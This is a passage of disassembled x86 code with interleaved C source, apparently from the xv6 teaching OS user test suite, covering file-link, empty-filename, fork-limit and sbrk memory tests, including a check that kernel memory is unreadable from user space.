printf(1, "link to dirfile/xx succeeded!\n");
exit();
}
if(unlink("dirfile") != 0){
printf(1, "unlink dirfile failed!\n");
2e50: c7 44 24 04 89 4e 00 movl $0x4e89,0x4(%esp)
2e57: 00
2e58: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e5f: e8 9c 0f 00 00 call 3e00 <printf>
exit();
2e64: e8 39 0e 00 00 call 3ca2 <exit>
if(unlink("dirfile/xx") == 0){
printf(1, "unlink dirfile/xx succeeded!\n");
exit();
}
if(link("README", "dirfile/xx") == 0){
printf(1, "link to dirfile/xx succeeded!\n");
2e69: c7 44 24 04 78 56 00 movl $0x5678,0x4(%esp)
2e70: 00
2e71: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e78: e8 83 0f 00 00 call 3e00 <printf>
exit();
2e7d: e8 20 0e 00 00 call 3ca2 <exit>
if(mkdir("dirfile/xx") == 0){
printf(1, "mkdir dirfile/xx succeeded!\n");
exit();
}
if(unlink("dirfile/xx") == 0){
printf(1, "unlink dirfile/xx succeeded!\n");
2e82: c7 44 24 04 64 4e 00 movl $0x4e64,0x4(%esp)
2e89: 00
2e8a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e91: e8 6a 0f 00 00 call 3e00 <printf>
exit();
2e96: e8 07 0e 00 00 call 3ca2 <exit>
if(fd >= 0){
printf(1, "create dirfile/xx succeeded!\n");
exit();
}
if(mkdir("dirfile/xx") == 0){
printf(1, "mkdir dirfile/xx succeeded!\n");
2e9b: c7 44 24 04 47 4e 00 movl $0x4e47,0x4(%esp)
2ea2: 00
2ea3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2eaa: e8 51 0f 00 00 call 3e00 <printf>
exit();
2eaf: e8 ee 0d 00 00 call 3ca2 <exit>
2eb4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
2eba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00002ec0 <iref>:
}
// test that iput() is called at the end of _namei()
void
iref(void)
{
2ec0: 55 push %ebp
2ec1: 89 e5 mov %esp,%ebp
2ec3: 53 push %ebx
int i, fd;
printf(1, "empty file name\n");
2ec4: bb 33 00 00 00 mov $0x33,%ebx
}
// test that iput() is called at the end of _namei()
void
iref(void)
{
2ec9: 83 ec 14 sub $0x14,%esp
int i, fd;
printf(1, "empty file name\n");
2ecc: c7 44 24 04 c5 4e 00 movl $0x4ec5,0x4(%esp)
2ed3: 00
2ed4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2edb: e8 20 0f 00 00 call 3e00 <printf>
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
if(mkdir("irefd") != 0){
2ee0: c7 04 24 d6 4e 00 00 movl $0x4ed6,(%esp)
2ee7: e8 1e 0e 00 00 call 3d0a <mkdir>
2eec: 85 c0 test %eax,%eax
2eee: 0f 85 af 00 00 00 jne 2fa3 <iref+0xe3>
printf(1, "mkdir irefd failed\n");
exit();
}
if(chdir("irefd") != 0){
2ef4: c7 04 24 d6 4e 00 00 movl $0x4ed6,(%esp)
2efb: e8 12 0e 00 00 call 3d12 <chdir>
2f00: 85 c0 test %eax,%eax
2f02: 0f 85 b4 00 00 00 jne 2fbc <iref+0xfc>
printf(1, "chdir irefd failed\n");
exit();
}
mkdir("");
2f08: c7 04 24 8b 45 00 00 movl $0x458b,(%esp)
2f0f: e8 f6 0d 00 00 call 3d0a <mkdir>
link("README", "");
2f14: c7 44 24 04 8b 45 00 movl $0x458b,0x4(%esp)
2f1b: 00
2f1c: c7 04 24 82 4e 00 00 movl $0x4e82,(%esp)
2f23: e8 da 0d 00 00 call 3d02 <link>
fd = open("", O_CREATE);
2f28: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2f2f: 00
2f30: c7 04 24 8b 45 00 00 movl $0x458b,(%esp)
2f37: e8 a6 0d 00 00 call 3ce2 <open>
if(fd >= 0)
2f3c: 85 c0 test %eax,%eax
2f3e: 78 08 js 2f48 <iref+0x88>
close(fd);
2f40: 89 04 24 mov %eax,(%esp)
2f43: e8 82 0d 00 00 call 3cca <close>
fd = open("xx", O_CREATE);
2f48: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2f4f: 00
2f50: c7 04 24 c0 4a 00 00 movl $0x4ac0,(%esp)
2f57: e8 86 0d 00 00 call 3ce2 <open>
if(fd >= 0)
2f5c: 85 c0 test %eax,%eax
2f5e: 78 08 js 2f68 <iref+0xa8>
close(fd);
2f60: 89 04 24 mov %eax,(%esp)
2f63: e8 62 0d 00 00 call 3cca <close>
unlink("xx");
2f68: c7 04 24 c0 4a 00 00 movl $0x4ac0,(%esp)
2f6f: e8 7e 0d 00 00 call 3cf2 <unlink>
int i, fd;
printf(1, "empty file name\n");
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
2f74: 83 eb 01 sub $0x1,%ebx
2f77: 0f 85 63 ff ff ff jne 2ee0 <iref+0x20>
if(fd >= 0)
close(fd);
unlink("xx");
}
chdir("/");
2f7d: c7 04 24 b1 41 00 00 movl $0x41b1,(%esp)
2f84: e8 89 0d 00 00 call 3d12 <chdir>
printf(1, "empty file name OK\n");
2f89: c7 44 24 04 04 4f 00 movl $0x4f04,0x4(%esp)
2f90: 00
2f91: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f98: e8 63 0e 00 00 call 3e00 <printf>
}
2f9d: 83 c4 14 add $0x14,%esp
2fa0: 5b pop %ebx
2fa1: 5d pop %ebp
2fa2: c3 ret
printf(1, "empty file name\n");
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
if(mkdir("irefd") != 0){
printf(1, "mkdir irefd failed\n");
2fa3: c7 44 24 04 dc 4e 00 movl $0x4edc,0x4(%esp)
2faa: 00
2fab: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2fb2: e8 49 0e 00 00 call 3e00 <printf>
exit();
2fb7: e8 e6 0c 00 00 call 3ca2 <exit>
}
if(chdir("irefd") != 0){
printf(1, "chdir irefd failed\n");
2fbc: c7 44 24 04 f0 4e 00 movl $0x4ef0,0x4(%esp)
2fc3: 00
2fc4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2fcb: e8 30 0e 00 00 call 3e00 <printf>
exit();
2fd0: e8 cd 0c 00 00 call 3ca2 <exit>
2fd5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2fd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00002fe0 <forktest>:
// test that fork fails gracefully
// the forktest binary also does this, but it runs out of proc entries first.
// inside the bigger usertests binary, we run out of memory first.
void
forktest(void)
{
2fe0: 55 push %ebp
2fe1: 89 e5 mov %esp,%ebp
2fe3: 53 push %ebx
int n, pid;
printf(1, "fork test\n");
for(n=0; n<1000; n++){
2fe4: 31 db xor %ebx,%ebx
// test that fork fails gracefully
// the forktest binary also does this, but it runs out of proc entries first.
// inside the bigger usertests binary, we run out of memory first.
void
forktest(void)
{
2fe6: 83 ec 14 sub $0x14,%esp
int n, pid;
printf(1, "fork test\n");
2fe9: c7 44 24 04 18 4f 00 movl $0x4f18,0x4(%esp)
2ff0: 00
2ff1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2ff8: e8 03 0e 00 00 call 3e00 <printf>
2ffd: eb 13 jmp 3012 <forktest+0x32>
2fff: 90 nop
for(n=0; n<1000; n++){
pid = fork();
if(pid < 0)
break;
if(pid == 0)
3000: 0f 84 87 00 00 00 je 308d <forktest+0xad>
{
int n, pid;
printf(1, "fork test\n");
for(n=0; n<1000; n++){
3006: 83 c3 01 add $0x1,%ebx
3009: 81 fb e8 03 00 00 cmp $0x3e8,%ebx
300f: 90 nop
3010: 74 4e je 3060 <forktest+0x80>
pid = fork();
3012: e8 83 0c 00 00 call 3c9a <fork>
if(pid < 0)
3017: 85 c0 test %eax,%eax
3019: 79 e5 jns 3000 <forktest+0x20>
if(n == 1000){
printf(1, "fork claimed to work 1000 times!\n");
exit();
}
for(; n > 0; n--){
301b: 85 db test %ebx,%ebx
301d: 8d 76 00 lea 0x0(%esi),%esi
3020: 74 15 je 3037 <forktest+0x57>
3022: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(wait() < 0){
3028: e8 7d 0c 00 00 call 3caa <wait>
302d: 85 c0 test %eax,%eax
302f: 90 nop
3030: 78 47 js 3079 <forktest+0x99>
if(n == 1000){
printf(1, "fork claimed to work 1000 times!\n");
exit();
}
for(; n > 0; n--){
3032: 83 eb 01 sub $0x1,%ebx
3035: 75 f1 jne 3028 <forktest+0x48>
printf(1, "wait stopped early\n");
exit();
}
}
if(wait() != -1){
3037: e8 6e 0c 00 00 call 3caa <wait>
303c: 83 f8 ff cmp $0xffffffff,%eax
303f: 90 nop
3040: 75 50 jne 3092 <forktest+0xb2>
printf(1, "wait got too many\n");
exit();
}
printf(1, "fork test OK\n");
3042: c7 44 24 04 4a 4f 00 movl $0x4f4a,0x4(%esp)
3049: 00
304a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3051: e8 aa 0d 00 00 call 3e00 <printf>
}
3056: 83 c4 14 add $0x14,%esp
3059: 5b pop %ebx
305a: 5d pop %ebp
305b: c3 ret
305c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(pid == 0)
exit();
}
if(n == 1000){
printf(1, "fork claimed to work 1000 times!\n");
3060: c7 44 24 04 b8 56 00 movl $0x56b8,0x4(%esp)
3067: 00
3068: c7 04 24 01 00 00 00 movl $0x1,(%esp)
306f: e8 8c 0d 00 00 call 3e00 <printf>
exit();
3074: e8 29 0c 00 00 call 3ca2 <exit>
}
for(; n > 0; n--){
if(wait() < 0){
printf(1, "wait stopped early\n");
3079: c7 44 24 04 23 4f 00 movl $0x4f23,0x4(%esp)
3080: 00
3081: c7 04 24 01 00 00 00 movl $0x1,(%esp)
3088: e8 73 0d 00 00 call 3e00 <printf>
exit();
308d: e8 10 0c 00 00 call 3ca2 <exit>
}
}
if(wait() != -1){
printf(1, "wait got too many\n");
3092: c7 44 24 04 37 4f 00 movl $0x4f37,0x4(%esp)
3099: 00
309a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
30a1: e8 5a 0d 00 00 call 3e00 <printf>
exit();
30a6: e8 f7 0b 00 00 call 3ca2 <exit>
30ab: 90 nop
30ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000030b0 <sbrktest>:
printf(1, "fork test OK\n");
}
void
sbrktest(void)
{
30b0: 55 push %ebp
30b1: 89 e5 mov %esp,%ebp
30b3: 57 push %edi
30b4: 56 push %esi
oldbrk = sbrk(0);
// can one sbrk() less than a page?
a = sbrk(0);
int i;
for(i = 0; i < 5000; i++){
30b5: 31 f6 xor %esi,%esi
printf(1, "fork test OK\n");
}
void
sbrktest(void)
{
30b7: 53 push %ebx
30b8: 83 ec 6c sub $0x6c,%esp
int fds[2], pid, pids[10], ppid;
char *a, *b, *c, *lastaddr, *oldbrk, *p, scratch;
uint amt;
printf(stdout, "sbrk test\n");
30bb: a1 e4 61 00 00 mov 0x61e4,%eax
30c0: c7 44 24 04 58 4f 00 movl $0x4f58,0x4(%esp)
30c7: 00
30c8: 89 04 24 mov %eax,(%esp)
30cb: e8 30 0d 00 00 call 3e00 <printf>
oldbrk = sbrk(0);
30d0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
30d7: e8 4e 0c 00 00 call 3d2a <sbrk>
// can one sbrk() less than a page?
a = sbrk(0);
30dc: c7 04 24 00 00 00 00 movl $0x0,(%esp)
int fds[2], pid, pids[10], ppid;
char *a, *b, *c, *lastaddr, *oldbrk, *p, scratch;
uint amt;
printf(stdout, "sbrk test\n");
oldbrk = sbrk(0);
30e3: 89 45 a4 mov %eax,-0x5c(%ebp)
// can one sbrk() less than a page?
a = sbrk(0);
30e6: e8 3f 0c 00 00 call 3d2a <sbrk>
30eb: 89 c3 mov %eax,%ebx
30ed: 8d 76 00 lea 0x0(%esi),%esi
int i;
for(i = 0; i < 5000; i++){
b = sbrk(1);
30f0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
30f7: e8 2e 0c 00 00 call 3d2a <sbrk>
if(b != a){
30fc: 39 d8 cmp %ebx,%eax
// can one sbrk() less than a page?
a = sbrk(0);
int i;
for(i = 0; i < 5000; i++){
b = sbrk(1);
30fe: 89 c7 mov %eax,%edi
if(b != a){
3100: 0f 85 78 02 00 00 jne 337e <sbrktest+0x2ce>
oldbrk = sbrk(0);
// can one sbrk() less than a page?
a = sbrk(0);
int i;
for(i = 0; i < 5000; i++){
3106: 83 c6 01 add $0x1,%esi
if(b != a){
printf(stdout, "sbrk test failed %d %x %x\n", i, a, b);
exit();
}
*b = 1;
a = b + 1;
3109: 83 c3 01 add $0x1,%ebx
b = sbrk(1);
if(b != a){
printf(stdout, "sbrk test failed %d %x %x\n", i, a, b);
exit();
}
*b = 1;
310c: c6 43 ff 01 movb $0x1,-0x1(%ebx)
oldbrk = sbrk(0);
// can one sbrk() less than a page?
a = sbrk(0);
int i;
for(i = 0; i < 5000; i++){
3110: 81 fe 88 13 00 00 cmp $0x1388,%esi
3116: 75 d8 jne 30f0 <sbrktest+0x40>
exit();
}
*b = 1;
a = b + 1;
}
pid = fork();
3118: e8 7d 0b 00 00 call 3c9a <fork>
if(pid < 0){
311d: 85 c0 test %eax,%eax
exit();
}
*b = 1;
a = b + 1;
}
pid = fork();
311f: 89 c3 mov %eax,%ebx
if(pid < 0){
3121: 0f 88 c5 03 00 00 js 34ec <sbrktest+0x43c>
printf(stdout, "sbrk test fork failed\n");
exit();
}
c = sbrk(1);
3127: c7 04 24 01 00 00 00 movl $0x1,(%esp)
312e: e8 f7 0b 00 00 call 3d2a <sbrk>
c = sbrk(1);
3133: c7 04 24 01 00 00 00 movl $0x1,(%esp)
313a: e8 eb 0b 00 00 call 3d2a <sbrk>
if(c != a + 1){
313f: 8d 57 02 lea 0x2(%edi),%edx
3142: 39 d0 cmp %edx,%eax
3144: 0f 85 88 03 00 00 jne 34d2 <sbrktest+0x422>
printf(stdout, "sbrk test failed post-fork\n");
exit();
}
if(pid == 0)
314a: 85 db test %ebx,%ebx
314c: 0f 84 7b 03 00 00 je 34cd <sbrktest+0x41d>
exit();
wait();
3152: e8 53 0b 00 00 call 3caa <wait>
// can one grow address space to something big?
#define BIG (100*1024*1024)
a = sbrk(0);
3157: c7 04 24 00 00 00 00 movl $0x0,(%esp)
315e: e8 c7 0b 00 00 call 3d2a <sbrk>
amt = (BIG) - (uint)a;
3163: ba 00 00 40 06 mov $0x6400000,%edx
3168: 29 c2 sub %eax,%edx
exit();
wait();
// can one grow address space to something big?
#define BIG (100*1024*1024)
a = sbrk(0);
316a: 89 c3 mov %eax,%ebx
amt = (BIG) - (uint)a;
p = sbrk(amt);
316c: 89 14 24 mov %edx,(%esp)
316f: e8 b6 0b 00 00 call 3d2a <sbrk>
if (p != a) {
3174: 39 d8 cmp %ebx,%eax
3176: 0f 85 3c 03 00 00 jne 34b8 <sbrktest+0x408>
printf(stdout, "sbrk test failed to grow big address space; enough phys mem?\n");
exit();
}
lastaddr = (char*) (BIG-1);
*lastaddr = 99;
317c: c6 05 ff ff 3f 06 63 movb $0x63,0x63fffff
// can one de-allocate?
a = sbrk(0);
3183: c7 04 24 00 00 00 00 movl $0x0,(%esp)
318a: e8 9b 0b 00 00 call 3d2a <sbrk>
c = sbrk(-4096);
318f: c7 04 24 00 f0 ff ff movl $0xfffff000,(%esp)
}
lastaddr = (char*) (BIG-1);
*lastaddr = 99;
// can one de-allocate?
a = sbrk(0);
3196: 89 c3 mov %eax,%ebx
c = sbrk(-4096);
3198: e8 8d 0b 00 00 call 3d2a <sbrk>
if(c == (char*)0xffffffff){
319d: 83 f8 ff cmp $0xffffffff,%eax
31a0: 0f 84 f8 02 00 00 je 349e <sbrktest+0x3ee>
printf(stdout, "sbrk could not deallocate\n");
exit();
}
c = sbrk(0);
31a6: c7 04 24 00 00 00 00 movl $0x0,(%esp)
31ad: e8 78 0b 00 00 call 3d2a <sbrk>
if(c != a - 4096){
31b2: 8d 93 00 f0 ff ff lea -0x1000(%ebx),%edx
31b8: 39 d0 cmp %edx,%eax
31ba: 0f 85 bc 02 00 00 jne 347c <sbrktest+0x3cc>
printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c);
exit();
}
// can one re-allocate that page?
a = sbrk(0);
31c0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
31c7: e8 5e 0b 00 00 call 3d2a <sbrk>
c = sbrk(4096);
31cc: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
printf(stdout, "sbrk deallocation produced wrong address, a %x c %x\n", a, c);
exit();
}
// can one re-allocate that page?
a = sbrk(0);
31d3: 89 c6 mov %eax,%esi
c = sbrk(4096);
31d5: e8 50 0b 00 00 call 3d2a <sbrk>
if(c != a || sbrk(0) != a + 4096){
31da: 39 f0 cmp %esi,%eax
exit();
}
// can one re-allocate that page?
a = sbrk(0);
c = sbrk(4096);
31dc: 89 c3 mov %eax,%ebx
if(c != a || sbrk(0) != a + 4096){
31de: 0f 85 76 02 00 00 jne 345a <sbrktest+0x3aa>
31e4: c7 04 24 00 00 00 00 movl $0x0,(%esp)
31eb: e8 3a 0b 00 00 call 3d2a <sbrk>
31f0: 8d 93 00 10 00 00 lea 0x1000(%ebx),%edx
31f6: 39 d0 cmp %edx,%eax
31f8: 0f 85 5c 02 00 00 jne 345a <sbrktest+0x3aa>
printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c);
exit();
}
if(*lastaddr == 99){
31fe: 80 3d ff ff 3f 06 63 cmpb $0x63,0x63fffff
3205: 0f 84 35 02 00 00 je 3440 <sbrktest+0x390>
// should be zero
printf(stdout, "sbrk de-allocation didn't really deallocate\n");
exit();
}
a = sbrk(0);
320b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3212: e8 13 0b 00 00 call 3d2a <sbrk>
c = sbrk(-(sbrk(0) - oldbrk));
3217: c7 04 24 00 00 00 00 movl $0x0,(%esp)
// should be zero
printf(stdout, "sbrk de-allocation didn't really deallocate\n");
exit();
}
a = sbrk(0);
321e: 89 c3 mov %eax,%ebx
c = sbrk(-(sbrk(0) - oldbrk));
3220: e8 05 0b 00 00 call 3d2a <sbrk>
3225: 8b 4d a4 mov -0x5c(%ebp),%ecx
3228: 29 c1 sub %eax,%ecx
322a: 89 0c 24 mov %ecx,(%esp)
322d: e8 f8 0a 00 00 call 3d2a <sbrk>
if(c != a){
3232: 39 d8 cmp %ebx,%eax
3234: 0f 85 e4 01 00 00 jne 341e <sbrktest+0x36e>
323a: bb 00 00 00 80 mov $0x80000000,%ebx
323f: 90 nop
exit();
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
ppid = getpid();
3240: e8 dd 0a 00 00 call 3d22 <getpid>
3245: 89 c6 mov %eax,%esi
pid = fork();
3247: e8 4e 0a 00 00 call 3c9a <fork>
if(pid < 0){
324c: 85 c0 test %eax,%eax
324e: 0f 88 b0 01 00 00 js 3404 <sbrktest+0x354>
printf(stdout, "fork failed\n");
exit();
}
if(pid == 0){
3254: 0f 84 7d 01 00 00 je 33d7 <sbrktest+0x327>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
exit();
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
325a: 81 c3 50 c3 00 00 add $0xc350,%ebx
if(pid == 0){
printf(stdout, "oops could read %x = %x\n", a, *a);
kill(ppid);
exit();
}
wait();
3260: e8 45 0a 00 00 call 3caa <wait>
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
exit();
}
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
3265: 81 fb 80 84 1e 80 cmp $0x801e8480,%ebx
326b: 75 d3 jne 3240 <sbrktest+0x190>
wait();
}
// if we run the system out of memory, does it clean up the last
// failed allocation?
if(pipe(fds) != 0){
326d: 8d 45 b8 lea -0x48(%ebp),%eax
3270: 89 04 24 mov %eax,(%esp)
3273: e8 3a 0a 00 00 call 3cb2 <pipe>
3278: 85 c0 test %eax,%eax
327a: 0f 85 3e 01 00 00 jne 33be <sbrktest+0x30e>
3280: 8d 5d e8 lea -0x18(%ebp),%ebx
3283: 8d 75 c0 lea -0x40(%ebp),%esi
write(fds[1], "x", 1);
// sit around until killed
for(;;) sleep(1000);
}
if(pids[i] != -1)
read(fds[0], &scratch, 1);
3286: 8d 7d b7 lea -0x49(%ebp),%edi
if(pipe(fds) != 0){
printf(1, "pipe() failed\n");
exit();
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
if((pids[i] = fork()) == 0){
3289: e8 0c 0a 00 00 call 3c9a <fork>
328e: 85 c0 test %eax,%eax
3290: 89 06 mov %eax,(%esi)
3292: 0f 84 9f 00 00 00 je 3337 <sbrktest+0x287>
sbrk(BIG - (uint)sbrk(0));
write(fds[1], "x", 1);
// sit around until killed
for(;;) sleep(1000);
}
if(pids[i] != -1)
3298: 83 f8 ff cmp $0xffffffff,%eax
329b: 74 17 je 32b4 <sbrktest+0x204>
read(fds[0], &scratch, 1);
329d: 8b 45 b8 mov -0x48(%ebp),%eax
32a0: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
32a7: 00
32a8: 89 7c 24 04 mov %edi,0x4(%esp)
32ac: 89 04 24 mov %eax,(%esp)
32af: e8 06 0a 00 00 call 3cba <read>
32b4: 83 c6 04 add $0x4,%esi
// failed allocation?
if(pipe(fds) != 0){
printf(1, "pipe() failed\n");
exit();
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
32b7: 39 de cmp %ebx,%esi
32b9: 75 ce jne 3289 <sbrktest+0x1d9>
if(pids[i] != -1)
read(fds[0], &scratch, 1);
}
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
32bb: c7 04 24 00 10 00 00 movl $0x1000,(%esp)
32c2: 8d 75 c0 lea -0x40(%ebp),%esi
32c5: e8 60 0a 00 00 call 3d2a <sbrk>
32ca: 89 c7 mov %eax,%edi
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
if(pids[i] == -1)
32cc: 8b 06 mov (%esi),%eax
32ce: 83 f8 ff cmp $0xffffffff,%eax
32d1: 74 0d je 32e0 <sbrktest+0x230>
continue;
kill(pids[i]);
32d3: 89 04 24 mov %eax,(%esp)
32d6: e8 f7 09 00 00 call 3cd2 <kill>
wait();
32db: e8 ca 09 00 00 call 3caa <wait>
32e0: 83 c6 04 add $0x4,%esi
read(fds[0], &scratch, 1);
}
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
32e3: 39 f3 cmp %esi,%ebx
32e5: 75 e5 jne 32cc <sbrktest+0x21c>
if(pids[i] == -1)
continue;
kill(pids[i]);
wait();
}
if(c == (char*)0xffffffff){
32e7: 83 ff ff cmp $0xffffffff,%edi
32ea: 0f 84 b4 00 00 00 je 33a4 <sbrktest+0x2f4>
printf(stdout, "failed sbrk leaked memory\n");
exit();
}
if(sbrk(0) > oldbrk)
32f0: c7 04 24 00 00 00 00 movl $0x0,(%esp)
32f7: e8 2e 0a 00 00 call 3d2a <sbrk>
32fc: 39 45 a4 cmp %eax,-0x5c(%ebp)
32ff: 73 19 jae 331a <sbrktest+0x26a>
sbrk(-(sbrk(0) - oldbrk));
3301: c7 04 24 00 00 00 00 movl $0x0,(%esp)
3308: e8 1d 0a 00 00 call 3d2a <sbrk>
330d: 8b 7d a4 mov -0x5c(%ebp),%edi
3310: 29 c7 sub %eax,%edi
3312: 89 3c 24 mov %edi,(%esp)
3315: e8 10 0a 00 00 call 3d2a <sbrk>
printf(stdout, "sbrk test OK\n");
331a: a1 e4 61 00 00 mov 0x61e4,%eax
331f: c7 44 24 04 00 50 00 movl $0x5000,0x4(%esp)
3326: 00
3327: 89 04 24 mov %eax,(%esp)
332a: e8 d1 0a 00 00 call 3e00 <printf>
}
332f: 83 c4 6c add $0x6c,%esp
3332: 5b pop %ebx
3333: 5e pop %esi
3334: 5f pop %edi
3335: 5d pop %ebp
3336: c3 ret
exit();
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
if((pids[i] = fork()) == 0){
// allocate a lot of memory
sbrk(BIG - (uint)sbrk(0));
3337: c7 04 24 00 00 00 00 movl $0x0,(%esp)
333e: e8 e7 09 00 00 call 3d2a <sbrk>
3343: ba 00 00 40 06 mov $0x6400000,%edx
3348: 29 c2 sub %eax,%edx
334a: 89 14 24 mov %edx,(%esp)
334d: e8 d8 09 00 00 call 3d2a <sbrk>
write(fds[1], "x", 1);
3352: 8b 45 bc mov -0x44(%ebp),%eax
3355: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
335c: 00
335d: c7 44 24 04 c1 4a 00 movl $0x4ac1,0x4(%esp)
3364: 00
3365: 89 04 24 mov %eax,(%esp)
3368: e8 55 09 00 00 call 3cc2 <write>
336d: 8d 76 00 lea 0x0(%esi),%esi
// sit around until killed
for(;;) sleep(1000);
3370: c7 04 24 e8 03 00 00 movl $0x3e8,(%esp)
3377: e8 b6 09 00 00 call 3d32 <sleep>
337c: eb f2 jmp 3370 <sbrktest+0x2c0>
a = sbrk(0);
int i;
for(i = 0; i < 5000; i++){
b = sbrk(1);
if(b != a){
printf(stdout, "sbrk test failed %d %x %x\n", i, a, b);
337e: 89 44 24 10 mov %eax,0x10(%esp)
3382: a1 e4 61 00 00 mov 0x61e4,%eax
3387: 89 5c 24 0c mov %ebx,0xc(%esp)
338b: 89 74 24 08 mov %esi,0x8(%esp)
338f: c7 44 24 04 63 4f 00 movl $0x4f63,0x4(%esp)
3396: 00
3397: 89 04 24 mov %eax,(%esp)
339a: e8 61 0a 00 00 call 3e00 <printf>
exit();
339f: e8 fe 08 00 00 call 3ca2 <exit>
continue;
kill(pids[i]);
wait();
}
if(c == (char*)0xffffffff){
printf(stdout, "failed sbrk leaked memory\n");
33a4: a1 e4 61 00 00 mov 0x61e4,%eax
33a9: c7 44 24 04 e5 4f 00 movl $0x4fe5,0x4(%esp)
33b0: 00
33b1: 89 04 24 mov %eax,(%esp)
33b4: e8 47 0a 00 00 call 3e00 <printf>
exit();
33b9: e8 e4 08 00 00 call 3ca2 <exit>
}
// if we run the system out of memory, does it clean up the last
// failed allocation?
if(pipe(fds) != 0){
printf(1, "pipe() failed\n");
33be: c7 44 24 04 a1 44 00 movl $0x44a1,0x4(%esp)
33c5: 00
33c6: c7 04 24 01 00 00 00 movl $0x1,(%esp)
33cd: e8 2e 0a 00 00 call 3e00 <printf>
exit();
33d2: e8 cb 08 00 00 call 3ca2 <exit>
if(pid < 0){
printf(stdout, "fork failed\n");
exit();
}
if(pid == 0){
printf(stdout, "oops could read %x = %x\n", a, *a);
33d7: 0f be 03 movsbl (%ebx),%eax
33da: 89 5c 24 08 mov %ebx,0x8(%esp)
33de: c7 44 24 04 cc 4f 00 movl $0x4fcc,0x4(%esp)
33e5: 00
33e6: 89 44 24 0c mov %eax,0xc(%esp)
33ea: a1 e4 61 00 00 mov 0x61e4,%eax
33ef: 89 04 24 mov %eax,(%esp)
33f2: e8 09 0a 00 00 call 3e00 <printf>
kill(ppid);
33f7: 89 34 24 mov %esi,(%esp)
33fa: e8 d3 08 00 00 call 3cd2 <kill>
exit();
33ff: e8 9e 08 00 00 call 3ca2 <exit>
// can we read the kernel's memory?
for(a = (char*)(KERNBASE); a < (char*) (KERNBASE+2000000); a += 50000){
ppid = getpid();
pid = fork();
if(pid < 0){
printf(stdout, "fork failed\n");
3404: a1 e4 61 00 00 mov 0x61e4,%eax
3409: c7 44 24 04 a9 50 00 movl $0x50a9,0x4(%esp)
3410: 00
3411: 89 04 24 mov %eax,(%esp)
3414: e8 e7 09 00 00 call 3e00 <printf>
exit();
3419: e8 84 08 00 00 call 3ca2 <exit>
}
a = sbrk(0);
c = sbrk(-(sbrk(0) - oldbrk));
if(c != a){
printf(stdout, "sbrk downsize failed, a %x c %x\n", a, c);
341e: 89 44 24 0c mov %eax,0xc(%esp)
3422: a1 e4 61 00 00 mov 0x61e4,%eax
3427: 89 5c 24 08 mov %ebx,0x8(%esp)
342b: c7 44 24 04 ac 57 00 movl $0x57ac,0x4(%esp)
3432: 00
3433: 89 04 24 mov %eax,(%esp)
3436: e8 c5 09 00 00 call 3e00 <printf>
exit();
343b: e8 62 08 00 00 call 3ca2 <exit>
printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c);
exit();
}
if(*lastaddr == 99){
// should be zero
printf(stdout, "sbrk de-allocation didn't really deallocate\n");
3440: a1 e4 61 00 00 mov 0x61e4,%eax
3445: c7 44 24 04 7c 57 00 movl $0x577c,0x4(%esp)
344c: 00
344d: 89 04 24 mov %eax,(%esp)
3450: e8 ab 09 00 00 call 3e00 <printf>
exit();
3455: e8 48 08 00 00 call 3ca2 <exit>
// can one re-allocate that page?
a = sbrk(0);
c = sbrk(4096);
if(c != a || sbrk(0) != a + 4096){
printf(stdout, "sbrk re-allocation failed, a %x c %x\n", a, c);
345a: a1 e4 61 00 00 mov 0x61e4,%eax
345f: 89 5c 24 0c mov %ebx,0xc(%esp)
3463: 89 74 24 08 mov %esi,0x8(%esp)
3467: c7 44 24 04 54 57 00 movl $0x5754,0x4(%esp)
346e: 00
346f: 89 04 24 mov %eax,(%esp)
3472: e8 89 09 00 00 call 3e00 <printf>
exit();
3477: e8 26 08 00 00 call 3ca2 <exit>
printf(stdout, "sbrk could not deallocate\n");
exit();
}
c = sbrk(0);
if(c != a - 4096){
